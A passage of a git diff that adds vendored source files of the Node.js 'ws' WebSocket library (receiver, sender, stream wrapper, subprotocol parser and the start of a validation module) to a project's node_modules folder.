EMPTY_BUFFER, + kStatusCode, + kWebSocket +} = require('./constants'); +const { concat, toArrayBuffer, unmask } = require('./buffer-util'); +const { isValidStatusCode, isValidUTF8 } = require('./validation'); + +const FastBuffer = Buffer[Symbol.species]; + +const GET_INFO = 0; +const GET_PAYLOAD_LENGTH_16 = 1; +const GET_PAYLOAD_LENGTH_64 = 2; +const GET_MASK = 3; +const GET_DATA = 4; +const INFLATING = 5; +const DEFER_EVENT = 6; + +/** + * HyBi Receiver implementation. + * + * @extends Writable + */ +class Receiver extends Writable { + /** + * Creates a Receiver instance. + * + * @param {Object} [options] Options object + * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether + * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted + * multiple times in the same tick + * @param {String} [options.binaryType=nodebuffer] The type for binary data + * @param {Object} [options.extensions] An object containing the negotiated + * extensions + * @param {Boolean} [options.isServer=false] Specifies whether to operate in + * client or server mode + * @param {Number} [options.maxPayload=0] The maximum allowed message length + * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or + * not to skip UTF-8 validation for text and close messages + */ + constructor(options = {}) { + super(); + + this._allowSynchronousEvents = + options.allowSynchronousEvents !== undefined + ? options.allowSynchronousEvents + : true; + this._binaryType = options.binaryType || BINARY_TYPES[0]; + this._extensions = options.extensions || {}; + this._isServer = !!options.isServer; + this._maxPayload = options.maxPayload | 0; + this._skipUTF8Validation = !!options.skipUTF8Validation; + this[kWebSocket] = undefined; + + this._bufferedBytes = 0; + this._buffers = []; + + this._compressed = false; + this._payloadLength = 0; + this._mask = undefined; + this._fragmented = 0; + this._masked = false; + this._fin = false; + this._opcode = 0; + + this._totalPayloadLength = 0; + this._messageLength = 0; + this._fragments = []; + + this._errored = false; + this._loop = false; + this._state = GET_INFO; + } + + /** + * Implements `Writable.prototype._write()`. + * + * @param {Buffer} chunk The chunk of data to write + * @param {String} encoding The character encoding of `chunk` + * @param {Function} cb Callback + * @private + */ + _write(chunk, encoding, cb) { + if (this._opcode === 0x08 && this._state == GET_INFO) return cb(); + + this._bufferedBytes += chunk.length; + this._buffers.push(chunk); + this.startLoop(cb); + } + + /** + * Consumes `n` bytes from the buffered data. + * + * @param {Number} n The number of bytes to consume + * @return {Buffer} The consumed bytes + * @private + */ + consume(n) { + this._bufferedBytes -= n; + + if (n === this._buffers[0].length) return this._buffers.shift(); + + if (n < this._buffers[0].length) { + const buf = this._buffers[0]; + this._buffers[0] = new FastBuffer( + buf.buffer, + buf.byteOffset + n, + buf.length - n + ); + + return new FastBuffer(buf.buffer, buf.byteOffset, n); + } + + const dst = Buffer.allocUnsafe(n); + + do { + const buf = this._buffers[0]; + const offset = dst.length - n; + + if (n >= buf.length) { + dst.set(this._buffers.shift(), offset); + } else { + dst.set(new Uint8Array(buf.buffer, buf.byteOffset, n), offset); + this._buffers[0] = new FastBuffer( + buf.buffer, + buf.byteOffset + n, + buf.length - n + ); + } + + n -= buf.length; + } while (n > 0); + + return dst; + } + + /** + * Starts the parsing loop. + * + * @param {Function} cb Callback + * @private + */ + startLoop(cb) { + this._loop = true; + + do { + switch (this._state) { + case GET_INFO: + this.getInfo(cb); + break; + case GET_PAYLOAD_LENGTH_16: + this.getPayloadLength16(cb); + break; + case GET_PAYLOAD_LENGTH_64: + this.getPayloadLength64(cb); + break; + case GET_MASK: + this.getMask(); + break; + case GET_DATA: + this.getData(cb); + break; + case INFLATING: + case DEFER_EVENT: + this._loop = false; + return; + } + } while (this._loop); + + if (!this._errored) cb(); + } + + /** + * Reads the first two bytes of a frame. + * + * @param {Function} cb Callback + * @private + */ + getInfo(cb) { + if (this._bufferedBytes < 2) { + this._loop = false; + return; + } + + const buf = this.consume(2); + + if ((buf[0] & 0x30) !== 0x00) { + const error = this.createError( + RangeError, + 'RSV2 and RSV3 must be clear', + true, + 1002, + 'WS_ERR_UNEXPECTED_RSV_2_3' + ); + + cb(error); + return; + } + + const compressed = (buf[0] & 0x40) === 0x40; + + if (compressed && !this._extensions[PerMessageDeflate.extensionName]) { + const error = this.createError( + RangeError, + 'RSV1 must be clear', + true, + 1002, + 'WS_ERR_UNEXPECTED_RSV_1' + ); + + cb(error); + return; + } + + this._fin = (buf[0] & 0x80) === 0x80; + this._opcode = buf[0] & 0x0f; + this._payloadLength = buf[1] & 0x7f; + + if (this._opcode === 0x00) { + if (compressed) { + const error = this.createError( + RangeError, + 'RSV1 must be clear', + true, + 1002, + 'WS_ERR_UNEXPECTED_RSV_1' + ); + + cb(error); + return; + } + + if (!this._fragmented) { + const error = this.createError( + RangeError, + 'invalid opcode 0', + true, + 1002, + 'WS_ERR_INVALID_OPCODE' + ); + + cb(error); + return; + } + + this._opcode = this._fragmented; + } else if (this._opcode === 0x01 || this._opcode === 0x02) { + if (this._fragmented) { + const error = this.createError( + RangeError, + `invalid opcode ${this._opcode}`, + true, + 1002, + 'WS_ERR_INVALID_OPCODE' + ); + + cb(error); + return; + } + + this._compressed = compressed; + } else if (this._opcode > 0x07 && this._opcode < 0x0b) { + if (!this._fin) { + const error = this.createError( + RangeError, + 'FIN must be set', + true, + 1002, + 'WS_ERR_EXPECTED_FIN' + ); + + cb(error); + return; + } + + if (compressed) { + const error = this.createError( + RangeError, + 'RSV1 must be clear', + true, + 1002, + 'WS_ERR_UNEXPECTED_RSV_1' + ); + + cb(error); + return; + } + + if ( + this._payloadLength > 0x7d || + (this._opcode === 0x08 && this._payloadLength === 1) + ) { + const error = this.createError( + RangeError, + `invalid payload length ${this._payloadLength}`, + true, + 1002, + 'WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH' + ); + + cb(error); + return; + } + } else { + const error = this.createError( + RangeError, + `invalid opcode ${this._opcode}`, + true, + 1002, + 'WS_ERR_INVALID_OPCODE' + ); + + cb(error); + return; + } + + if (!this._fin && !this._fragmented) this._fragmented = this._opcode; + this._masked = (buf[1] & 0x80) === 0x80; + + if (this._isServer) { + if (!this._masked) { + const error = this.createError( + RangeError, + 'MASK must be set', + true, + 1002, + 'WS_ERR_EXPECTED_MASK' + ); + + cb(error); + return; + } + } else if (this._masked) { + const error = this.createError( + RangeError, + 'MASK must be clear', + true, + 1002, + 'WS_ERR_UNEXPECTED_MASK' + ); + + cb(error); + return; + } + + if (this._payloadLength === 126) this._state = GET_PAYLOAD_LENGTH_16; + else if (this._payloadLength === 127) this._state = GET_PAYLOAD_LENGTH_64; + else this.haveLength(cb); + } + + /** + * Gets extended payload length (7+16). + * + * @param {Function} cb Callback + * @private + */ + getPayloadLength16(cb) { + if (this._bufferedBytes < 2) { + this._loop = false; + return; + } + + this._payloadLength = this.consume(2).readUInt16BE(0); + this.haveLength(cb); + } + + /** + * Gets extended payload length (7+64). + * + * @param {Function} cb Callback + * @private + */ + getPayloadLength64(cb) { + if (this._bufferedBytes < 8) { + this._loop = false; + return; + } + + const buf = this.consume(8); + const num = buf.readUInt32BE(0); + + // + // The maximum safe integer in JavaScript is 2^53 - 1. An error is returned + // if payload length is greater than this number. + // + if (num > Math.pow(2, 53 - 32) - 1) { + const error = this.createError( + RangeError, + 'Unsupported WebSocket frame: payload length > 2^53 - 1', + false, + 1009, + 'WS_ERR_UNSUPPORTED_DATA_PAYLOAD_LENGTH' + ); + + cb(error); + return; + } + + this._payloadLength = num * Math.pow(2, 32) + buf.readUInt32BE(4); + this.haveLength(cb); + } + + /** + * Payload length has been read. + * + * @param {Function} cb Callback + * @private + */ + haveLength(cb) { + if (this._payloadLength && this._opcode < 0x08) { + this._totalPayloadLength += this._payloadLength; + if (this._totalPayloadLength > this._maxPayload && this._maxPayload > 0) { + const error = this.createError( + RangeError, + 'Max payload size exceeded', + false, + 1009, + 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH' + ); + + cb(error); + return; + } + } + + if (this._masked) this._state = GET_MASK; + else this._state = GET_DATA; + } + + /** + * Reads mask bytes. + * + * @private + */ + getMask() { + if (this._bufferedBytes < 4) { + this._loop = false; + return; + } + + this._mask = this.consume(4); + this._state = GET_DATA; + } + + /** + * Reads data bytes. + * + * @param {Function} cb Callback + * @private + */ + getData(cb) { + let data = EMPTY_BUFFER; + + if (this._payloadLength) { + if (this._bufferedBytes < this._payloadLength) { + this._loop = false; + return; + } + + data = this.consume(this._payloadLength); + + if ( + this._masked && + (this._mask[0] | this._mask[1] | this._mask[2] | this._mask[3]) !== 0 + ) { + unmask(data, this._mask); + } + } + + if (this._opcode > 0x07) { + this.controlMessage(data, cb); + return; + } + + if (this._compressed) { + this._state = INFLATING; + this.decompress(data, cb); + return; + } + + if (data.length) { + // + // This message is not compressed so its length is the sum of the payload + // length of all fragments. + // + this._messageLength = this._totalPayloadLength; + this._fragments.push(data); + } + + this.dataMessage(cb); + } + + /** + * Decompresses data. + * + * @param {Buffer} data Compressed data + * @param {Function} cb Callback + * @private + */ + decompress(data, cb) { + const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; + + perMessageDeflate.decompress(data, this._fin, (err, buf) => { + if (err) return cb(err); + + if (buf.length) { + this._messageLength += buf.length; + if (this._messageLength > this._maxPayload && this._maxPayload > 0) { + const error = this.createError( + RangeError, + 'Max payload size exceeded', + false, + 1009, + 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH' + ); + + cb(error); + return; + } + + this._fragments.push(buf); + } + + this.dataMessage(cb); + if (this._state === GET_INFO) this.startLoop(cb); + }); + } + + /** + * Handles a data message. + * + * @param {Function} cb Callback + * @private + */ + dataMessage(cb) { + if (!this._fin) { + this._state = GET_INFO; + return; + } + + const messageLength = this._messageLength; + const fragments = this._fragments; + + this._totalPayloadLength = 0; + this._messageLength = 0; + this._fragmented = 0; + this._fragments = []; + + if (this._opcode === 2) { + let data; + + if (this._binaryType === 'nodebuffer') { + data = concat(fragments, messageLength); + } else if (this._binaryType === 'arraybuffer') { + data = toArrayBuffer(concat(fragments, messageLength)); + } else { + data = fragments; + } + + if (this._allowSynchronousEvents) { + this.emit('message', data, true); + this._state = GET_INFO; + } else { + this._state = DEFER_EVENT; + setImmediate(() => { + this.emit('message', data, true); + this._state = GET_INFO; + this.startLoop(cb); + }); + } + } else { + const buf = concat(fragments, messageLength); + + if (!this._skipUTF8Validation && !isValidUTF8(buf)) { + const error = this.createError( + Error, + 'invalid UTF-8 sequence', + true, + 1007, + 'WS_ERR_INVALID_UTF8' + ); + + cb(error); + return; + } + + if (this._state === INFLATING || this._allowSynchronousEvents) { + this.emit('message', buf, false); + this._state = GET_INFO; + } else { + this._state = DEFER_EVENT; + setImmediate(() => { + this.emit('message', buf, false); + this._state = GET_INFO; + this.startLoop(cb); + }); + } + } + } + + /** + * Handles a control message. + * + * @param {Buffer} data Data to handle + * @return {(Error|RangeError|undefined)} A possible error + * @private + */ + controlMessage(data, cb) { + if (this._opcode === 0x08) { + if (data.length === 0) { + this._loop = false; + this.emit('conclude', 1005, EMPTY_BUFFER); + this.end(); + } else { + const code = data.readUInt16BE(0); + + if (!isValidStatusCode(code)) { + const error = this.createError( + RangeError, + `invalid status code ${code}`, + true, + 1002, + 'WS_ERR_INVALID_CLOSE_CODE' + ); + + cb(error); + return; + } + + const buf = new FastBuffer( + data.buffer, + data.byteOffset + 2, + data.length - 2 + ); + + if (!this._skipUTF8Validation && !isValidUTF8(buf)) { + const error = this.createError( + Error, + 'invalid UTF-8 sequence', + true, + 1007, + 'WS_ERR_INVALID_UTF8' + ); + + cb(error); + return; + } + + this._loop = false; + this.emit('conclude', code, buf); + this.end(); + } + + this._state = GET_INFO; + return; + } + + if (this._allowSynchronousEvents) { + this.emit(this._opcode === 0x09 ? 'ping' : 'pong', data); + this._state = GET_INFO; + } else { + this._state = DEFER_EVENT; + setImmediate(() => { + this.emit(this._opcode === 0x09 ? 'ping' : 'pong', data); + this._state = GET_INFO; + this.startLoop(cb); + }); + } + } + + /** + * Builds an error object. + * + * @param {function(new:Error|RangeError)} ErrorCtor The error constructor + * @param {String} message The error message + * @param {Boolean} prefix Specifies whether or not to add a default prefix to + * `message` + * @param {Number} statusCode The status code + * @param {String} errorCode The exposed error code + * @return {(Error|RangeError)} The error + * @private + */ + createError(ErrorCtor, message, prefix, statusCode, errorCode) { + this._loop = false; + this._errored = true; + + const err = new ErrorCtor( + prefix ? `Invalid WebSocket frame: ${message}` : message + ); + + Error.captureStackTrace(err, this.createError); + err.code = errorCode; + err[kStatusCode] = statusCode; + return err; + } +} + +module.exports = Receiver; diff --git a/node_modules/ws/lib/sender.js b/node_modules/ws/lib/sender.js new file mode 100644 index 000000000000..c81ec66f6259 --- /dev/null +++ b/node_modules/ws/lib/sender.js @@ -0,0 +1,497 @@ +/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex" }] */ + +'use strict'; + +const { Duplex } = require('stream'); +const { randomFillSync } = require('crypto'); + +const PerMessageDeflate = require('./permessage-deflate'); +const { EMPTY_BUFFER } = require('./constants'); +const { isValidStatusCode } = require('./validation'); +const { mask: applyMask, toBuffer } = require('./buffer-util'); + +const kByteLength = Symbol('kByteLength'); +const maskBuffer = Buffer.alloc(4); +const RANDOM_POOL_SIZE = 8 * 1024; +let randomPool; +let randomPoolPointer = RANDOM_POOL_SIZE; + +/** + * HyBi Sender implementation. + */ +class Sender { + /** + * Creates a Sender instance. + * + * @param {Duplex} socket The connection socket + * @param {Object} [extensions] An object containing the negotiated extensions + * @param {Function} [generateMask] The function used to generate the masking + * key + */ + constructor(socket, extensions, generateMask) { + this._extensions = extensions || {}; + + if (generateMask) { + this._generateMask = generateMask; + this._maskBuffer = Buffer.alloc(4); + } + + this._socket = socket; + + this._firstFragment = true; + this._compress = false; + + this._bufferedBytes = 0; + this._deflating = false; + this._queue = []; + } + + /** + * Frames a piece of data according to the HyBi WebSocket protocol. + * + * @param {(Buffer|String)} data The data to frame + * @param {Object} options Options object + * @param {Boolean} [options.fin=false] Specifies whether or not to set the + * FIN bit + * @param {Function} [options.generateMask] The function used to generate the + * masking key + * @param {Boolean} [options.mask=false] Specifies whether or not to mask + * `data` + * @param {Buffer} [options.maskBuffer] The buffer used to store the masking + * key + * @param {Number} options.opcode The opcode + * @param {Boolean} [options.readOnly=false] Specifies whether `data` can be + * modified + * @param {Boolean} [options.rsv1=false] Specifies whether or not to set the + * RSV1 bit + * @return {(Buffer|String)[]} The framed data + * @public + */ + static frame(data, options) { + let mask; + let merge = false; + let offset = 2; + let skipMasking = false; + + if (options.mask) { + mask = options.maskBuffer || maskBuffer; + + if (options.generateMask) { + options.generateMask(mask); + } else { + if (randomPoolPointer === RANDOM_POOL_SIZE) { + /* istanbul ignore else */ + if (randomPool === undefined) { + // + // This is lazily initialized because server-sent frames must not + // be masked so it may never be used. + // + randomPool = Buffer.alloc(RANDOM_POOL_SIZE); + } + + randomFillSync(randomPool, 0, RANDOM_POOL_SIZE); + randomPoolPointer = 0; + } + + mask[0] = randomPool[randomPoolPointer++]; + mask[1] = randomPool[randomPoolPointer++]; + mask[2] = randomPool[randomPoolPointer++]; + mask[3] = randomPool[randomPoolPointer++]; + } + + skipMasking = (mask[0] | mask[1] | mask[2] | mask[3]) === 0; + offset = 6; + } + + let dataLength; + + if (typeof data === 'string') { + if ( + (!options.mask || skipMasking) && + options[kByteLength] !== undefined + ) { + dataLength = options[kByteLength]; + } else { + data = Buffer.from(data); + dataLength = data.length; + } + } else { + dataLength = data.length; + merge = options.mask && options.readOnly && !skipMasking; + } + + let payloadLength = dataLength; + + if (dataLength >= 65536) { + offset += 8; + payloadLength = 127; + } else if (dataLength > 125) { + offset += 2; + payloadLength = 126; + } + + const target = Buffer.allocUnsafe(merge ? dataLength + offset : offset); + + target[0] = options.fin ? options.opcode | 0x80 : options.opcode; + if (options.rsv1) target[0] |= 0x40; + + target[1] = payloadLength; + + if (payloadLength === 126) { + target.writeUInt16BE(dataLength, 2); + } else if (payloadLength === 127) { + target[2] = target[3] = 0; + target.writeUIntBE(dataLength, 4, 6); + } + + if (!options.mask) return [target, data]; + + target[1] |= 0x80; + target[offset - 4] = mask[0]; + target[offset - 3] = mask[1]; + target[offset - 2] = mask[2]; + target[offset - 1] = mask[3]; + + if (skipMasking) return [target, data]; + + if (merge) { + applyMask(data, mask, target, offset, dataLength); + return [target]; + } + + applyMask(data, mask, data, 0, dataLength); + return [target, data]; + } + + /** + * Sends a close message to the other peer. + * + * @param {Number} [code] The status code component of the body + * @param {(String|Buffer)} [data] The message component of the body + * @param {Boolean} [mask=false] Specifies whether or not to mask the message + * @param {Function} [cb] Callback + * @public + */ + close(code, data, mask, cb) { + let buf; + + if (code === undefined) { + buf = EMPTY_BUFFER; + } else if (typeof code !== 'number' || !isValidStatusCode(code)) { + throw new TypeError('First argument must be a valid error code number'); + } else if (data === undefined || !data.length) { + buf = Buffer.allocUnsafe(2); + buf.writeUInt16BE(code, 0); + } else { + const length = Buffer.byteLength(data); + + if (length > 123) { + throw new RangeError('The message must not be greater than 123 bytes'); + } + + buf = Buffer.allocUnsafe(2 + length); + buf.writeUInt16BE(code, 0); + + if (typeof data === 'string') { + buf.write(data, 2); + } else { + buf.set(data, 2); + } + } + + const options = { + [kByteLength]: buf.length, + fin: true, + generateMask: this._generateMask, + mask, + maskBuffer: this._maskBuffer, + opcode: 0x08, + readOnly: false, + rsv1: false + }; + + if (this._deflating) { + this.enqueue([this.dispatch, buf, false, options, cb]); + } else { + this.sendFrame(Sender.frame(buf, options), cb); + } + } + + /** + * Sends a ping message to the other peer. + * + * @param {*} data The message to send + * @param {Boolean} [mask=false] Specifies whether or not to mask `data` + * @param {Function} [cb] Callback + * @public + */ + ping(data, mask, cb) { + let byteLength; + let readOnly; + + if (typeof data === 'string') { + byteLength = Buffer.byteLength(data); + readOnly = false; + } else { + data = toBuffer(data); + byteLength = data.length; + readOnly = toBuffer.readOnly; + } + + if (byteLength > 125) { + throw new RangeError('The data size must not be greater than 125 bytes'); + } + + const options = { + [kByteLength]: byteLength, + fin: true, + generateMask: this._generateMask, + mask, + maskBuffer: this._maskBuffer, + opcode: 0x09, + readOnly, + rsv1: false + }; + + if (this._deflating) { + this.enqueue([this.dispatch, data, false, options, cb]); + } else { + this.sendFrame(Sender.frame(data, options), cb); + } + } + + /** + * Sends a pong message to the other peer. + * + * @param {*} data The message to send + * @param {Boolean} [mask=false] Specifies whether or not to mask `data` + * @param {Function} [cb] Callback + * @public + */ + pong(data, mask, cb) { + let byteLength; + let readOnly; + + if (typeof data === 'string') { + byteLength = Buffer.byteLength(data); + readOnly = false; + } else { + data = toBuffer(data); + byteLength = data.length; + readOnly = toBuffer.readOnly; + } + + if (byteLength > 125) { + throw new RangeError('The data size must not be greater than 125 bytes'); + } + + const options = { + [kByteLength]: byteLength, + fin: true, + generateMask: this._generateMask, + mask, + maskBuffer: this._maskBuffer, + opcode: 0x0a, + readOnly, + rsv1: false + }; + + if (this._deflating) { + this.enqueue([this.dispatch, data, false, options, cb]); + } else { + this.sendFrame(Sender.frame(data, options), cb); + } + } + + /** + * Sends a data message to the other peer. + * + * @param {*} data The message to send + * @param {Object} options Options object + * @param {Boolean} [options.binary=false] Specifies whether `data` is binary + * or text + * @param {Boolean} [options.compress=false] Specifies whether or not to + * compress `data` + * @param {Boolean} [options.fin=false] Specifies whether the fragment is the + * last one + * @param {Boolean} [options.mask=false] Specifies whether or not to mask + * `data` + * @param {Function} [cb] Callback + * @public + */ + send(data, options, cb) { + const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; + let opcode = options.binary ? 2 : 1; + let rsv1 = options.compress; + + let byteLength; + let readOnly; + + if (typeof data === 'string') { + byteLength = Buffer.byteLength(data); + readOnly = false; + } else { + data = toBuffer(data); + byteLength = data.length; + readOnly = toBuffer.readOnly; + } + + if (this._firstFragment) { + this._firstFragment = false; + if ( + rsv1 && + perMessageDeflate && + perMessageDeflate.params[ + perMessageDeflate._isServer + ? 'server_no_context_takeover' + : 'client_no_context_takeover' + ] + ) { + rsv1 = byteLength >= perMessageDeflate._threshold; + } + this._compress = rsv1; + } else { + rsv1 = false; + opcode = 0; + } + + if (options.fin) this._firstFragment = true; + + if (perMessageDeflate) { + const opts = { + [kByteLength]: byteLength, + fin: options.fin, + generateMask: this._generateMask, + mask: options.mask, + maskBuffer: this._maskBuffer, + opcode, + readOnly, + rsv1 + }; + + if (this._deflating) { + this.enqueue([this.dispatch, data, this._compress, opts, cb]); + } else { + this.dispatch(data, this._compress, opts, cb); + } + } else { + this.sendFrame( + Sender.frame(data, { + [kByteLength]: byteLength, + fin: options.fin, + generateMask: this._generateMask, + mask: options.mask, + maskBuffer: this._maskBuffer, + opcode, + readOnly, + rsv1: false + }), + cb + ); + } + } + + /** + * Dispatches a message. + * + * @param {(Buffer|String)} data The message to send + * @param {Boolean} [compress=false] Specifies whether or not to compress + * `data` + * @param {Object} options Options object + * @param {Boolean} [options.fin=false] Specifies whether or not to set the + * FIN bit + * @param {Function} [options.generateMask] The function used to generate the + * masking key + * @param {Boolean} [options.mask=false] Specifies whether or not to mask + * `data` + * @param {Buffer} [options.maskBuffer] The buffer used to store the masking + * key + * @param {Number} options.opcode The opcode + * @param {Boolean} [options.readOnly=false] Specifies whether `data` can be + * modified + * @param {Boolean} [options.rsv1=false] Specifies whether or not to set the + * RSV1 bit + * @param {Function} [cb] Callback + * @private + */ + dispatch(data, compress, options, cb) { + if (!compress) { + this.sendFrame(Sender.frame(data, options), cb); + return; + } + + const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; + + this._bufferedBytes += options[kByteLength]; + this._deflating = true; + perMessageDeflate.compress(data, options.fin, (_, buf) => { + if (this._socket.destroyed) { + const err = new Error( + 'The socket was closed while data was being compressed' + ); + + if (typeof cb === 'function') cb(err); + + for (let i = 0; i < this._queue.length; i++) { + const params = this._queue[i]; + const callback = params[params.length - 1]; + + if (typeof callback === 'function') callback(err); + } + + return; + } + + this._bufferedBytes -= options[kByteLength]; + this._deflating = false; + options.readOnly = false; + this.sendFrame(Sender.frame(buf, options), cb); + this.dequeue(); + }); + } + + /** + * Executes queued send operations. + * + * @private + */ + dequeue() { + while (!this._deflating && this._queue.length) { + const params = this._queue.shift(); + + this._bufferedBytes -= params[3][kByteLength]; + Reflect.apply(params[0], this, params.slice(1)); + } + } + + /** + * Enqueues a send operation. + * + * @param {Array} params Send operation parameters. + * @private + */ + enqueue(params) { + this._bufferedBytes += params[3][kByteLength]; + this._queue.push(params); + } + + /** + * Sends a frame. + * + * @param {Buffer[]} list The frame to send + * @param {Function} [cb] Callback + * @private + */ + sendFrame(list, cb) { + if (list.length === 2) { + this._socket.cork(); + this._socket.write(list[0]); + this._socket.write(list[1], cb); + this._socket.uncork(); + } else { + this._socket.write(list[0], cb); + } + } +} + +module.exports = Sender; diff --git a/node_modules/ws/lib/stream.js b/node_modules/ws/lib/stream.js new file mode 100644 index 000000000000..230734b79a87 --- /dev/null +++ b/node_modules/ws/lib/stream.js @@ -0,0 +1,159 @@ +'use strict'; + +const { Duplex } = require('stream'); + +/** + * Emits the `'close'` event on a stream. + * + * @param {Duplex} stream The stream. + * @private + */ +function emitClose(stream) { + stream.emit('close'); +} + +/** + * The listener of the `'end'` event. + * + * @private + */ +function duplexOnEnd() { + if (!this.destroyed && this._writableState.finished) { + this.destroy(); + } +} + +/** + * The listener of the `'error'` event. + * + * @param {Error} err The error + * @private + */ +function duplexOnError(err) { + this.removeListener('error', duplexOnError); + this.destroy(); + if (this.listenerCount('error') === 0) { + // Do not suppress the throwing behavior. + this.emit('error', err); + } +} + +/** + * Wraps a `WebSocket` in a duplex stream. + * + * @param {WebSocket} ws The `WebSocket` to wrap + * @param {Object} [options] The options for the `Duplex` constructor + * @return {Duplex} The duplex stream + * @public + */ +function createWebSocketStream(ws, options) { + let terminateOnDestroy = true; + + const duplex = new Duplex({ + ...options, + autoDestroy: false, + emitClose: false, + objectMode: false, + writableObjectMode: false + }); + + ws.on('message', function message(msg, isBinary) { + const data = + !isBinary && duplex._readableState.objectMode ? msg.toString() : msg; + + if (!duplex.push(data)) ws.pause(); + }); + + ws.once('error', function error(err) { + if (duplex.destroyed) return; + + // Prevent `ws.terminate()` from being called by `duplex._destroy()`. + // + // - If the `'error'` event is emitted before the `'open'` event, then + // `ws.terminate()` is a noop as no socket is assigned. + // - Otherwise, the error is re-emitted by the listener of the `'error'` + // event of the `Receiver` object. The listener already closes the + // connection by calling `ws.close()`. This allows a close frame to be + // sent to the other peer. If `ws.terminate()` is called right after this, + // then the close frame might not be sent. + terminateOnDestroy = false; + duplex.destroy(err); + }); + + ws.once('close', function close() { + if (duplex.destroyed) return; + + duplex.push(null); + }); + + duplex._destroy = function (err, callback) { + if (ws.readyState === ws.CLOSED) { + callback(err); + process.nextTick(emitClose, duplex); + return; + } + + let called = false; + + ws.once('error', function error(err) { + called = true; + callback(err); + }); + + ws.once('close', function close() { + if (!called) callback(err); + process.nextTick(emitClose, duplex); + }); + + if (terminateOnDestroy) ws.terminate(); + }; + + duplex._final = function (callback) { + if (ws.readyState === ws.CONNECTING) { + ws.once('open', function open() { + duplex._final(callback); + }); + return; + } + + // If the value of the `_socket` property is `null` it means that `ws` is a + // client websocket and the handshake failed. In fact, when this happens, a + // socket is never assigned to the websocket. Wait for the `'error'` event + // that will be emitted by the websocket. + if (ws._socket === null) return; + + if (ws._socket._writableState.finished) { + callback(); + if (duplex._readableState.endEmitted) duplex.destroy(); + } else { + ws._socket.once('finish', function finish() { + // `duplex` is not destroyed here because the `'end'` event will be + // emitted on `duplex` after this `'finish'` event. The EOF signaling + // `null` chunk is, in fact, pushed when the websocket emits `'close'`. + callback(); + }); + ws.close(); + } + }; + + duplex._read = function () { + if (ws.isPaused) ws.resume(); + }; + + duplex._write = function (chunk, encoding, callback) { + if (ws.readyState === ws.CONNECTING) { + ws.once('open', function open() { + duplex._write(chunk, encoding, callback); + }); + return; + } + + ws.send(chunk, callback); + }; + + duplex.on('end', duplexOnEnd); + duplex.on('error', duplexOnError); + return duplex; +} + +module.exports = createWebSocketStream; diff --git a/node_modules/ws/lib/subprotocol.js b/node_modules/ws/lib/subprotocol.js new file mode 100644 index 000000000000..d4381e8864fd --- /dev/null +++ b/node_modules/ws/lib/subprotocol.js @@ -0,0 +1,62 @@ +'use strict'; + +const { tokenChars } = require('./validation'); + +/** + * Parses the `Sec-WebSocket-Protocol` header into a set of subprotocol names. + * + * @param {String} header The field value of the header + * @return {Set} The subprotocol names + * @public + */ +function parse(header) { + const protocols = new Set(); + let start = -1; + let end = -1; + let i = 0; + + for (i; i < header.length; i++) { + const code = header.charCodeAt(i); + + if (end === -1 && tokenChars[code] === 1) { + if (start === -1) start = i; + } else if ( + i !== 0 && + (code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */ + ) { + if (end === -1 && start !== -1) end = i; + } else if (code === 0x2c /* ',' */) { + if (start === -1) { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + + if (end === -1) end = i; + + const protocol = header.slice(start, end); + + if (protocols.has(protocol)) { + throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`); + } + + protocols.add(protocol); + start = end = -1; + } else { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + } + + if (start === -1 || end !== -1) { + throw new SyntaxError('Unexpected end of input'); + } + + const protocol = header.slice(start, i); + + if (protocols.has(protocol)) { + throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`); + } + + protocols.add(protocol); + return protocols; +} + +module.exports = { parse }; diff --git a/node_modules/ws/lib/validation.js b/node_modules/ws/lib/validation.js new file mode 100644 index 000000000000..c352e6ea757b --- /dev/null +++ b/node_modules/ws/lib/validation.js @@ -0,0 +1,130 @@ +'use strict'; + +const { isUtf8 } = require('buffer'); + +// +// Allowed token characters: +// +// '!', '#', '$', '%', '&', ''', '*', '+', '-', +// '.', 0-9, A-Z, '^', '_', '`', a-z, '|', '~' +// +// tokenChars[32] === 0 // ' ' +// tokenChars[33] === 1 // '!' +// tokenChars[34] === 0 // '"' +// ... +// +// prettier-ignore +const tokenChars = [ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 0 - 15 + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 16 - 31 + 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, // 32 - 47 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, // 48 - 63 + 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 64 - 79 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, // 80 - 95 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 96 - 111 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 // 112 - 127 +]; + +/** + * Checks if a status code is allowed in a close frame. + * + * @param {Number} code The status code + * @return {Boolean} `true` if the status code is valid, else `false` + * @public + */ +function isValidStatusCode(code) { + return ( + (code >= 1000 && + code <= 1014 && + code !== 1004 && + code !== 1005 && + code !== 1006) || + (code >= 3000 && code <= 4999) + ); +} + +/** + * Checks if a given buffer contains only correct UTF-8. + * Ported from https://www.cl.cam.ac.uk/%7Emgk25/ucs/utf8_check.c by + * Markus Kuhn. + * + * @param {Buffer} buf The buffer to check + * @return {Boolean} `true` if `buf` contains only correct UTF-8, else `false` + * @public + */ +function _isValidUTF8(buf) { + const len = buf.length; + let i = 0; + + while (i < len) { + if ((buf[i] & 0x80) === 0) { + // 0xxxxxxx + i++; + } else if ((buf[i] & 0xe0) === 0xc0) { + // 110xxxxx 10xxxxxx + if ( + i + 1 === len || + (buf[i + 1] & 